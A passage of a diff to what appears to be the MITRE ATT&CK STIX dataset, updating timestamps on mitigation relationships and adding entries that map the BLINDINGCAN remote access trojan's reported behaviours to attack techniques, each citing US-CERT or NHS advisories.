data available to external parties.", "id": "relationship--8bc57fb8-9379-4bcb-9f9f-d40cd86bca57", "type": "relationship", - "modified": "2020-10-24T04:09:48.566Z", + "modified": "2021-04-15T03:37:35.952Z", "created": "2020-10-20T03:30:50.436Z" }, { @@ -227059,7 +228544,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--324e2e47-513c-4803-91d7-96d45cdd9480", "type": "relationship", - "modified": "2020-10-24T04:10:12.460Z", + "modified": "2021-04-15T03:38:32.220Z", "created": "2020-10-20T03:31:22.422Z" }, { @@ -227073,7 +228558,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--efb1d5a5-0182-4104-982c-6de98e11a055", "type": "relationship", - "modified": "2020-10-24T04:10:36.406Z", + "modified": "2021-04-15T03:39:08.964Z", "created": "2020-10-20T03:31:52.923Z" }, { @@ -227087,7 +228572,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--87df901e-dd6b-4eae-9a63-b546c169d192", "type": "relationship", - "modified": "2020-10-24T04:14:58.723Z", + "modified": "2021-04-15T03:44:05.832Z", "created": "2020-10-20T03:32:46.759Z" }, { @@ -227101,7 +228586,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--994b4e31-eabb-4aa0-b7c1-e0ade6017009", "type": "relationship", - "modified": "2020-10-24T04:15:26.956Z", + "modified": "2021-04-15T03:44:43.983Z", "created": "2020-10-20T03:33:23.166Z" }, { @@ -227115,7 +228600,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--57c067b0-1325-4bb7-a950-198a6332c8ba", "type": "relationship", - "modified": "2020-10-24T04:15:53.827Z", + "modified": "2021-04-15T03:45:30.962Z", "created": "2020-10-20T03:33:58.292Z" }, { @@ -227129,7 +228614,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--e58cc6e6-cc6c-4a31-9056-e24c8071c736", "type": "relationship", - "modified": "2020-10-24T04:16:40.084Z", + "modified": "2021-04-15T03:47:02.747Z", "created": "2020-10-20T03:34:45.501Z" }, { @@ -227143,7 +228628,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--86c466ea-44e7-4018-a223-ce8d2ab81bc8", "type": "relationship", - "modified": "2020-10-24T04:17:09.819Z", + "modified": "2021-04-15T03:47:56.019Z", "created": "2020-10-20T03:35:25.799Z" }, { @@ -227157,7 +228642,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--d5e474fe-11a9-419b-bf16-734189c8da5d", "type": "relationship", - "modified": "2020-10-24T04:19:15.415Z", + "modified": "2021-04-15T03:48:37.791Z", "created": "2020-10-20T03:35:58.163Z" }, { @@ -227171,7 +228656,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--17b92de6-f308-4468-8b2e-c1b2edf08e46", "type": "relationship", - "modified": "2020-10-24T04:19:40.714Z", + "modified": "2021-04-15T03:49:13.516Z", "created": "2020-10-20T03:36:29.915Z" }, { @@ -227185,7 +228670,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--fbb82f95-94fd-4faf-a106-8c7a7191446e", "type": "relationship", - "modified": "2020-10-24T04:20:18.874Z", + "modified": "2021-04-15T03:49:49.845Z", "created": "2020-10-20T03:37:05.106Z" }, { @@ -227199,7 +228684,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--e36e7b1a-aa7b-4354-92d4-4373b9911b51", "type": "relationship", - "modified": "2020-10-24T04:20:44.055Z", + "modified": "2021-04-15T03:50:44.248Z", "created": "2020-10-20T03:37:41.019Z" }, { @@ -227213,7 +228698,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--40b6a660-4028-47cc-9f13-28adb5dba5b7", "type": "relationship", - "modified": "2020-10-24T04:21:41.644Z", + "modified": "2021-04-15T03:51:42.697Z", "created": "2020-10-20T03:38:28.309Z" }, { @@ -227227,7 +228712,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--6417adf9-8767-4258-9d26-6e95a43bef47", "type": "relationship", - "modified": "2020-10-24T04:22:11.376Z", + "modified": "2021-04-15T03:52:07.078Z", "created": "2020-10-20T03:39:09.084Z" }, { @@ -227241,7 +228726,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--fdde385f-3781-47fa-9cb7-ef7c5b903e63", "type": "relationship", - "modified": "2020-10-24T04:22:46.327Z", + "modified": "2021-04-15T03:52:41.068Z", "created": "2020-10-20T03:39:41.638Z" }, { @@ -227255,7 +228740,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--4bb2d90a-468a-48af-8912-5386d2a1aa1d", "type": "relationship", - "modified": "2020-10-24T04:23:37.378Z", + "modified": "2021-04-15T03:53:33.115Z", "created": "2020-10-20T03:40:27.820Z" }, { @@ -227269,7 +228754,7 @@ "relationship_type": "mitigates", "id": "relationship--aefa2807-65bf-4b81-b91b-d8ec2dfbd80b", "type": "relationship", - "modified": "2020-10-22T17:57:29.263Z", + "modified": "2021-04-15T02:48:40.075Z", "created": "2020-10-20T15:42:48.288Z" }, { @@ -227283,7 +228768,7 @@ "relationship_type": "mitigates", "id": "relationship--833b16fc-34c1-4ad9-bbb4-a0054cdc7f10", "type": "relationship", - "modified": "2020-10-20T19:47:46.971Z", + "modified": "2021-04-15T02:49:14.826Z", "created": "2020-10-20T15:42:48.320Z" }, { @@ -227297,7 +228782,7 @@ "relationship_type": "mitigates", "id": "relationship--132985bb-b5bd-4fce-b61d-ae3177de73f7", "type": "relationship", - "modified": "2020-10-20T19:47:47.002Z", + "modified": "2021-04-15T02:49:49.813Z", "created": "2020-10-20T15:42:48.340Z" }, { @@ -227311,7 +228796,7 @@ "relationship_type": "mitigates", "id": "relationship--c296b445-a4b5-4e73-91b0-0c6c9f3eed1b", "type": "relationship", - "modified": "2020-10-20T20:25:29.498Z", + "modified": "2021-04-15T02:50:39.015Z", "created": "2020-10-20T15:42:48.349Z" }, { @@ -227325,7 +228810,7 @@ "relationship_type": "mitigates", "id": "relationship--1569b958-8b61-42bc-8171-91a068d7fe1a", "type": "relationship", - "modified": "2020-10-20T19:47:47.035Z", + "modified": "2021-04-15T02:51:18.270Z", "created": "2020-10-20T15:42:48.371Z" }, { @@ -227339,7 +228824,7 @@ "relationship_type": "mitigates", "id": "relationship--c54b00ec-fdb7-483e-ad6e-be4fb1da0fd8", "type": "relationship", - "modified": "2020-10-22T17:58:32.559Z", + "modified": "2021-04-15T02:52:41.987Z", "created": "2020-10-20T15:42:48.379Z" }, { @@ -227353,7 +228838,7 @@ "relationship_type": "mitigates", "id": "relationship--90a11110-2124-4d1f-92b7-1d5525e3ba8d", "type": "relationship", - "modified": "2020-10-22T17:59:17.524Z", + "modified": "2021-04-15T02:53:19.351Z", "created": "2020-10-20T15:42:48.393Z" }, { @@ -227367,7 +228852,7 @@ "relationship_type": "mitigates", "id": "relationship--3b09f6eb-ff5a-4d95-ae24-d4f6934a8fc6", "type": "relationship", - "modified": "2020-10-22T18:20:40.798Z", + "modified": "2021-04-15T03:09:17.670Z", "created": "2020-10-20T15:45:24.362Z" }, { @@ -227381,7 +228866,7 @@ "relationship_type": "mitigates", "id": "relationship--9e7ff28c-3c76-488d-8fb3-623a19ee55c1", "type": "relationship", - "modified": "2020-10-20T19:50:14.554Z", + "modified": "2021-04-15T03:10:00.173Z", "created": "2020-10-20T15:45:24.386Z" }, { @@ -227395,7 +228880,7 @@ "relationship_type": "mitigates", "id": "relationship--5cf196e1-fccd-438c-b292-24a3607c1118", "type": "relationship", - "modified": "2020-10-20T19:50:14.576Z", + "modified": "2021-04-15T03:10:35.800Z", "created": "2020-10-20T15:45:24.410Z" }, { @@ -227409,7 +228894,7 @@ "relationship_type": "mitigates", "id": "relationship--771bb993-77b0-4019-906e-b59011943740", "type": "relationship", - "modified": "2020-10-20T19:50:14.594Z", + "modified": "2021-04-15T02:57:25.656Z", "created": "2020-10-20T15:45:24.442Z" }, { @@ -227423,7 +228908,7 @@ "relationship_type": "mitigates", "id": "relationship--4659b352-d455-43a6-981a-49c5858c7dcf", "type": "relationship", - "modified": "2020-10-20T19:50:14.606Z", + "modified": "2021-04-15T02:59:07.003Z", "created": "2020-10-20T15:45:24.451Z" }, { @@ -227437,7 +228922,7 @@ "relationship_type": "mitigates", "id": "relationship--f5f4cd1c-b71b-4cdd-ab7c-77a5981bb56b", "type": "relationship", - "modified": "2020-10-20T19:50:14.620Z", + "modified": "2021-04-15T03:00:06.189Z", "created": "2020-10-20T15:47:55.122Z" }, { @@ -227451,7 +228936,7 @@ "relationship_type": "mitigates", "id": "relationship--958d5dfd-89f6-4563-bfcd-1999e35d40be", "type": "relationship", - "modified": "2020-10-22T18:03:23.859Z", + "modified": "2021-04-15T03:01:00.388Z", "created": "2020-10-20T15:47:55.146Z" }, { @@ -227465,7 +228950,7 @@ "relationship_type": "mitigates", "id": "relationship--bb0f5803-3c4c-46d4-a499-36baf1fb156c", "type": "relationship", - "modified": "2020-10-20T19:50:14.652Z", + "modified": "2021-04-15T03:01:54.720Z", "created": "2020-10-20T15:47:55.169Z" }, { @@ -227479,7 +228964,7 @@ "relationship_type": "mitigates", "id": "relationship--242f96c4-460f-49e6-80a9-79ea85348c2d", "type": "relationship", - "modified": "2020-10-20T19:50:14.674Z", + "modified": "2021-04-15T03:02:43.132Z", "created": "2020-10-20T15:47:55.188Z" }, { @@ -227493,7 +228978,7 @@ "relationship_type": "mitigates", "id": "relationship--19264fec-8c72-470f-9a7f-6c135718fde7", "type": "relationship", - "modified": "2020-10-20T19:50:14.689Z", + "modified": "2021-04-15T03:03:22.283Z", "created": "2020-10-20T15:47:55.199Z" }, { @@ -227507,7 +228992,7 @@ "relationship_type": "mitigates", "id": "relationship--972c3c99-a172-4191-a35e-dedef750d36e", "type": "relationship", - "modified": "2020-10-22T18:01:45.870Z", + "modified": "2021-04-15T03:04:00.027Z", "created": "2020-10-20T15:47:55.206Z" }, { @@ -227521,7 +229006,7 @@ "relationship_type": "mitigates", "id": "relationship--bd82a68a-af53-45c7-ac0e-d8cdac989080", "type": "relationship", - "modified": "2020-10-22T18:02:30.375Z", + "modified": "2021-04-15T03:04:40.376Z", "created": "2020-10-20T15:47:55.222Z" }, { @@ -227535,7 +229020,7 @@ "relationship_type": "mitigates", "id": "relationship--17fde86e-66f2-4432-881c-b162c0501204", "type": "relationship", - "modified": "2020-10-20T19:52:33.308Z", + "modified": "2021-04-15T03:06:20.522Z", "created": "2020-10-20T15:50:00.559Z" }, { @@ -227549,7 +229034,7 @@ "relationship_type": "mitigates", "id": "relationship--15cae685-cd89-4b79-b89b-e7153fb16ba2", "type": "relationship", - "modified": "2020-10-20T19:52:33.335Z", + "modified": "2021-04-15T03:06:56.949Z", "created": "2020-10-20T15:50:00.591Z" }, { @@ -227563,7 +229048,7 @@ "relationship_type": "mitigates", "id": "relationship--5761f7ba-920b-491b-a010-d12645dedf0b", "type": "relationship", - "modified": "2020-10-22T18:18:08.500Z", + "modified": "2021-04-15T02:33:38.676Z", "created": "2020-10-20T15:50:00.624Z" }, { @@ -227577,7 +229062,7 @@ "relationship_type": "mitigates", "id": "relationship--c5811e32-72d6-4ac8-8769-15772e7ac50f", "type": "relationship", - "modified": "2020-10-20T19:52:33.369Z", + "modified": "2021-04-15T03:07:53.907Z", "created": "2020-10-20T15:50:00.644Z" }, { @@ -227591,7 +229076,7 @@ "relationship_type": "mitigates", "id": "relationship--6bf03275-b5bb-4c67-b3a6-5a4642d763e6", "type": "relationship", - "modified": "2020-10-20T19:52:33.387Z", + "modified": "2021-04-15T03:08:33.436Z", "created": "2020-10-20T15:50:00.654Z" }, { @@ -227605,7 +229090,7 @@ "relationship_type": "mitigates", "id": "relationship--d40b183e-3714-4e2c-a738-caff2db7054a", "type": "relationship", - "modified": "2020-10-20T19:52:33.409Z", + "modified": "2021-04-15T03:11:57.519Z", "created": "2020-10-20T15:52:49.893Z" }, { @@ -227619,7 +229104,7 @@ "relationship_type": "mitigates", "id": "relationship--35054627-12cd-4613-bbbd-0c5848fe06f8", "type": "relationship", - "modified": "2020-10-22T18:22:21.071Z", + "modified": "2021-04-15T03:13:16.334Z", "created": "2020-10-20T15:52:49.919Z" }, { @@ -227633,7 +229118,7 @@ "relationship_type": "mitigates", "id": "relationship--0d600c05-c617-46f4-947f-cdd6ca56d494", "type": "relationship", - "modified": "2020-10-22T18:18:55.085Z", + "modified": "2021-04-15T02:32:49.928Z", "created": "2020-10-20T15:52:49.945Z" }, { @@ -227647,7 +229132,7 @@ "relationship_type": "mitigates", "id": "relationship--c6d22962-0e39-4339-a574-81e4891694a2", "type": "relationship", - "modified": "2020-10-20T19:52:33.478Z", + "modified": "2021-04-15T03:14:41.802Z", "created": "2020-10-20T15:52:49.975Z" }, { @@ -227661,7 +229146,7 @@ "relationship_type": "mitigates", "id": "relationship--e6767ba4-3cb7-4819-b8c8-d72dcab05858", "type": "relationship", - "modified": "2020-10-20T19:52:33.495Z", + "modified": "2021-04-15T03:14:01.359Z", "created": "2020-10-20T15:52:49.977Z" }, { @@ -227675,7 +229160,7 @@ "relationship_type": "mitigates", "id": "relationship--20a02fc6-3cce-4ce6-bf76-2f82c2a88232", "type": "relationship", - "modified": "2020-10-20T19:52:33.572Z", + "modified": "2021-04-15T03:15:21.134Z", "created": "2020-10-20T15:52:50.002Z" }, { @@ -228633,7 +230118,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "id": "relationship--d06c7363-a7f6-43b1-8af8-9d3b9975160c", "type": "relationship", - "modified": "2020-10-22T18:05:46.422Z", + "modified": "2021-04-15T02:54:06.195Z", "created": "2020-10-22T18:04:38.489Z" }, { @@ -228768,13 +230253,18 @@ "source_name": "Recorded Future Turla Infra 2020", "url": "https://www.recordedfuture.com/turla-apt-infrastructure/", "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020." + }, + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." } ], - "description": "[Turla](https://attack.mitre.org/groups/G0010) has used compromised servers as infrastructure.(Citation: Recorded Future Turla Infra 2020)", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used compromised servers as infrastructure.(Citation: Recorded Future Turla Infra 2020)(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "id": "relationship--65eac98e-82b8-4592-a121-bea99f80dc87", "type": "relationship", - "modified": "2020-10-22T20:25:26.573Z", + "modified": "2020-12-03T20:37:56.430Z", "created": "2020-10-22T20:25:26.573Z" }, { @@ -228811,6 +230301,40293 @@ "modified": "2020-10-23T15:04:40.254Z", "created": "2020-10-23T15:04:40.254Z" }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been delivered by phishing emails containing malicious Microsoft Office documents.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--db8bb9fc-49b8-49b7-9123-6468176dd1ad", + "type": "relationship", + "modified": "2020-10-27T18:45:58.781Z", + "created": "2020-10-27T18:45:58.781Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has deleted itself and associated artifacts from victim machines.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--719676a8-9d6c-4ac6-812b-aa268a9abc88", + "type": "relationship", + "modified": "2020-10-27T19:20:07.238Z", + "created": "2020-10-27T19:20:07.238Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has attempted to hide its payload by using legitimate file names such as \"iconcache.db\".(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--44577477-b599-46f0-84bf-7e0de773d848", + "type": "relationship", + "modified": "2020-10-27T19:20:07.332Z", + "created": "2020-10-27T19:20:07.332Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + }, + { + "source_name": "NHS UK BLINDINGCAN Aug 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3603", + "description": "NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has modified file and directory timestamps.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--914526ae-3322-440f-b79e-780bb0c84cf5", + "type": "relationship", + "modified": "2020-11-09T21:54:38.881Z", + "created": "2020-10-27T19:26:37.868Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + }, + { + "source_name": "NHS UK BLINDINGCAN Aug 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3603", + "description": "NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) can search, read, write, move, and execute files.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--ca2f6580-fb02-4687-b514-94bad87f7bf8", + "type": "relationship", + "modified": "2020-11-09T21:54:38.943Z", + "created": "2020-10-27T19:26:37.922Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has collected the victim machine's local IP address information and MAC address.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--856670ef-15ae-4d32-a24d-4aba27297586", + "type": "relationship", + "modified": "2020-10-27T19:26:37.993Z", + "created": "2020-10-27T19:26:37.993Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has collected from a victim machine the system name, processor information, OS version, and disk information, including type and free space available.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--11ed4654-a7bf-4063-9452-6d6174b9f8bc", + "type": "relationship", + "modified": "2020-10-27T19:26:38.023Z", + "created": "2020-10-27T19:26:38.023Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has executed commands via cmd.exe.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--170fb051-0d3d-4105-b6d2-96c9c68e4b8c", + "type": "relationship", + "modified": "2020-10-27T19:26:38.063Z", + "created": "2020-10-27T19:26:38.063Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has loaded and executed DLLs in memory during runtime on a victim machine.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--a2c141ff-d733-4d73-96af-618ed26b7547", + "type": "relationship", + "modified": "2020-11-09T21:54:39.077Z", + "created": "2020-10-27T19:26:38.103Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has encoded its C2 traffic with Base64.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--46e84bd8-d38f-43e7-b62b-ea211231abef", + "type": "relationship", + "modified": "2020-10-27T19:26:38.137Z", + "created": "2020-10-27T19:26:38.137Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has encrypted its C2 traffic with RC4.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--e2f9132b-cb32-4b39-8d6d-fec48be3e92f", + "type": "relationship", + "modified": "2020-10-27T19:26:38.178Z", + "created": "2020-10-27T19:26:38.178Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + } + ], + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has used Rundll32 to load a malicious DLL.(Citation: US-CERT BLINDINGCAN Aug 2020)", + "relationship_type": "uses", + "id": "relationship--c406dfb3-d860-4895-858d-e3092cabd5bb", + "type": "relationship", + "modified": "2020-10-27T19:26:38.212Z", + "created": "2020-10-27T19:26:38.212Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 